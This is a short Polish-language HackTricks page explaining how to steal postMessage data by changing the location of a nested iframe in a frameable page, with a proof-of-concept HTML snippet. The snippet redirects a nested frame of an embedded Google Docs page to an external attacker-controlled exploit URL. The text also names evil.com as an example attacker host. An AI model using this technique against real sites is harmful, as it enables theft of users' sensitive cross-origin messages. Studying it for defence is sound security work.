Steal postmessage modifying iframe location

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Zmiana lokalizacji osadzonych iframe'ów

Zgodnie z tym opisem, jeśli możesz osadzić stronę internetową jako iframe bez nagłówka X-Frame-Header, która zawiera inne iframe, możesz zmienić lokalizację tego osadzonego iframe'a.

Na przykład, jeśli abc.com ma efg.com jako iframe i abc.com nie ma nagłówka X-Frame, mogę zmienić efg.com na evil.com, korzystając z frames.location.

Jest to szczególnie przydatne w przypadku postMessages, ponieważ jeśli strona wysyła wrażliwe dane za pomocą wildcarda takiego jak windowRef.postmessage("","*"), możliwe jest zmienienie lokalizacji powiązanego iframe'a (dziecka lub rodzica) na kontrolowaną przez atakującego lokalizację i kradzież tych danych.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated